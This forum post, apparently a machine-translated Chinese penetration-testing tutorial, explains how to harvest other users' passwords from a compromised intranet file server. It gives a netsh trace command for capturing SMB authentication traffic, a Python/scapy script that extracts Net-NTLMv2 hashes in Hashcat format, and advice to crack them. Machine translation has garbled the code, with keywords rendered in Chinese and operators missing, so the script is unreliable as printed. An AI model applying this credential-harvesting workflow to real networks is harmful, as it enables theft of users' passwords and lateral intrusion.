风尘剑心 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 在上一篇文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》中,比较了NTLM哈希和Net-NTLM哈希的区别。本文将继续介绍Net-NTLM哈希在内网渗透中的应用,以解决一个有趣的问题: 如果获得了内网一个文件服务器的权限,如何获得更多用户的口令? 0x01 简介 本文将介绍以下内容: 在windows平台下不安装任何第三方依赖库的情况下捕获网络数据包的方法 将数据包转换为pcap格式 Wireshark用于分析数据包。 写Python提取NTLMv2哈希。 使用Hashcat破解Hash。 0x02 解决思路 055-79000提到,当客户端连接到文件服务器时,默认会将当前登录用户的密码哈希发送到服务器进行验证。如果验证失败,需要重新输入登录用户名和密码。 如果获得内网某个文件服务器的权限,当内网其他主机试图使用该接口访问服务器时,会先将自己的密码Hash发送给服务器进行验证,在服务器端抓取数据包得到NTLM响应,分析NTLM响应的格式,提取特定信息,使用Hashcat尝试字典破解或暴力破解,就有可能还原出用户自己的明文密码。 所以,接下来需要解决的第一个问题:如何在文件服务器上抓取数据包? 0x03 Windows平台下进行网络抓包的方法 当然最常用的方法是安装Wireshark,但是如果能找到一种不安装任何第三方依赖库,系统自带,可以直接用来抓包的方法不是更好吗? 当然有办法。 通过Windows系统自带的netsh中的trace功能,无需安装任何第三方依赖库,即可在命令行下捕捉数据包。 支持Win7、Server2008R2和更高版本的系统,但不支持Server2008。 官方文件: https://TechNet . Microsoft . com/en-us/library/DD 878517(v=ws . 10)。aspx 注: Nettrace需要管理员权限。 用法: 1.开启记录功能 netsh trace start capture=yes persistent=yes trace file=' c:\ \ test \ \ SNMP 1 . ETL ' overwrite=yes correlation=no protocol=TCP IP v4 . address=192 . 168 . 62 . 130 keywords=ut:authentic ation 参数描述: Capture=yes:打开数据包捕获功能。 Persistent=yes:系统重启不关闭数据包捕获功能,而只是通过Netsh trace stop。 TraceFile:指定保存记录文件的路径。 Overwrite=yes:如果文件存在,则覆盖它。 Correlation=no:不收集相关事件。 协议=tcp:抓取TPC协议 Ipv4.address=192.168.62.130:仅限制与服务器IP相关的数据包。 Keywords=ut:authentication:关键字是ut:authentication 添加以上资格参数是为了尽可能减小数据包大小,只筛选出SMB协议中与NTLMv2认证相关的内容。 注: 系统的配置文件压缩包将在同级目录下生成,扩展名为。出租车。 2.关闭记录功能 Netsh跟踪停止 当该功能关闭时,系统会将捕获的数据包保存为etl结束时的文件。 演示下图 3.查看etl文件 etl文件不能直接打开,需要转换成。借助windows消息分析器(Wireshark可以识别)的cap格式。 Windows消息分析器下载地址: https://www.microsoft.com/en-us/download/confirmation.aspx?id=44226 安装后,打开etl文件,等待文件标识。识别成功后,界面左下角提示就绪,如下图所示 4.转换成.cap格式 文件-另存为-导出,以cap包格式保存 使用Wireshark打开cap包文件,成功读取包文件,并在服务器上获取包。 你可以从数据包中找到SMB2协议,如下图所示。 从一组提取的数据包中恢复出NTLM v2的关键信息,如下图所示 固定拼接格式:用户名:域:挑战:hmac-MD5: blob 用Hashcat破解。 注: 详细破解方法请参考《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》,本文不做演示。 如果您手工组装多个NTLM v2响应包,将需要大量的工作和精力,因此您需要编写一个程序来自动解析这些包,并提取可供Hashcat使用的NTLM v2内容。 这是第二个问题:如何通过程序实现自动解析数据包,提取NTLM v2的内容?。 0x04 通过程序实现自动解析数据包 语言:python Python模块:scapy 解释地址: https://github.com/invernizzi/scapy-http 安装: 简易安装scapy easy_install scapy_http scapy能够解析pcap数据包,所以在使用前,先使用Wireshark将。帽子包转换成pcap包 scapy示例代码如下: 尝试: 将scapy.all作为scapy导入 除了导入错误: 导入scapy 尝试: #此导入从项目目录开始 导入scapy_http.http 除了导入错误: #如果你通过点安装了这个包,你只需要执行这个 从景观层导入超文本传送协议(Hyper Text Transport Protocol的缩写) 数据包=scapy。rdpcap('测试。pcap’) 对于数据包中的p: 打印('=' * 78) 页面显示() 自动解析出每个数据包的格式,分为以太网、IP、TCP和生的,如下图 程序开发思路: 对目的端口进行判断,选出服务器信息块协议的数据包 筛选出NTLMv2响应数据包 通过当前数据包获得用户名、域名、HMAC-MD5和一滴 通过前一数据包获得服务器挑战 具体实现: 1.选出SMB协议的数据包 目的端口为445 数据包[p]['TCP'].dport==445 2.筛选出NTLMv2 Response数据包 传输控制协议(Transmission Control Protocol)有效负载包含特殊字符串NTLMSSP 数据包[p][' Raw ']。加载。find(' NTLMSSP ')!=-1 3.获得通过当前数据包获得username、domain、HMAC-MD5和blob HMAC-MD5和一滴为固定位置,直接通过固定偏移即可获得 用户名和领域为固定格式,2字节表示长度,2字节表示马克斯伦,4岁字节表示偏移,值得注意的2字节长度实际上为(同国际组织)国际组织型数据,在读取时高低位要互换 例如读取出16进制数据为4601,实际计算的是0146转换成10进制的值,为326 域长度1=int(TCP有效负载[Flag 28:Flag 28 1]).编码('十六进制'),16) 域长度2=int(TCP有效负载[Flag 28 1:Flag 28 1 1]).编码('十六进制'),16)*256 域长度=域长度1域长度2 领域以统一码格式保存,需要转换成ascii,具体实现是把字符串转换成数组,只取奇数位 domain name=[domain name unicode[I]for I in range(len(domain name unicode))if I % 2==0] 域名=""。加入(域名) 完整实现代码如下: #!/usr/bin/env python 尝试: 将scapy.all作为scapy导入 除了导入错误: 导入scapy 尝试: #此导入从项目目录开始 导入scapy_http.http 除了导入错误: #如果你通过点安装了这个包,你只需要执行这个 从景观层导入超文本传送协议(Hyper Text Transport Protocol的缩写) packets=scapy.rdpcap('6.pcap ') 数量=1 对于范围内的p(透镜(数据包)): 尝试: 如果数据包[p]['TCP'].dport==445: TCPPayload=packets[p]['Raw'].负荷 if TCPPayload.find('NTLMSSP ')!=-1: 如果len(TCPPayload) 500: 打印('- Hashcat NTLMv2号%s - '%(数字)) 数字=数字一 print ('PacketNum: %d'%(p 1)) 打印(' src:% s ' %(数据包[p][' IP ']).src)) print(' dst:% s ' %(数据包[p][' IP ']).夏令时)) Flag=TCPPayload.find('NTLMSSP ') ServerTCPPayload=packets[p-1][' Raw '].负荷 服务器标志=servertcppayload。查找(' NTLMSSP ') server challenge=ServerTCPPayload[服务器标志24:服务器标志24 8].编码("十六进制") 打印('服务器质询:% s ' %(服务器质询)) 域长度1=int(TCP有效负载[Flag 28:Flag 28 1]).编码('十六进制'),16) 域长度2=int(TCP有效负载[Flag 28 1:Flag 28 1 1]).编码('十六进制'),16)*256 域长度=域长度1域长度2 #打印域长度 域名unicode=TCP有效负载[标志88:标志88域长度] domain name=[domain name unicode[I]for I in range(len(domain name unicode))if I % 2==0] 域名=""。加入(域名) 打印('域名:% s“%(域名)) 用户名长度1=int(TCP payload[Flag 36:Flag 36 1].编码('十六进制'),16) 用户名长度2=int(TCP payload[Flag 36 1:Flag 36 1 1]).编码('十六进制'),16)*256 用户名长度=用户名长度一用户名长度2 #打印用户名长度 用户名unicode=TCPPayload[标志88域长度:标志88域长度用户名长度] UserName=[UserName unicode[I]for I in range(len(UserName unicode))if I % 2==0] 用户名=""。加入(用户名) 打印('用户名:% s“%(用户名)) NTLM response length 1=int(TCPPayload[Flag 20:Flag 20 1]).编码('十六进制'),16) NTLM response length 2=int(TCPPayload[Flag 20 1:Flag 20 1 1]).编码('十六进制'),16)*256 NTLM response length=NTLM response length 1 NTLM response length 2 #打印NTLMResPonseLength NTLM response=TCPPayload[Flag 174:Flag 174 NTLM response length].编码("十六进制") #打印NTLMResPonse 打印" Hashcat NTLMv2:" 打印(' %s:%s:%s:%s:%s'%(用户名,域名,服务器挑战,NTLMResPonse[:32],NTLMResPonse[32:])) 除了: 及格 执行后程序输出如下图 接着使用哈希卡特进行破解即可 注: 解析pcap包的开源工具: https://github.com/DanMcInerney/net-creds 但在解析ntlmv2的挑战时会出现病菌 0x05 补充 对于文件服务器,如果开启了传输控制协议上的NetBIOS,那么禁用445端口后,系统会尝试使用139端口进行连接 测试如下: 服务器禁用445端口,开启139端口 客户端尝试连接,中小企业协议使用139端口,抓包如下图 如果禁用了传输控制协议上的NetBIOS,那么禁用445端口后,无法使用文件共享 0x06 小结 本文解决了在获得内网一个文件服务器的权限后,获得更多用户的口令的问题。 通过Windows操作系统操作系统命令行抓包获得服务器信息块协议内容,编写程序自动提取NTLMv2哈希,使用哈希卡特进行破解,有可能还原出用户本机的明文口令 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子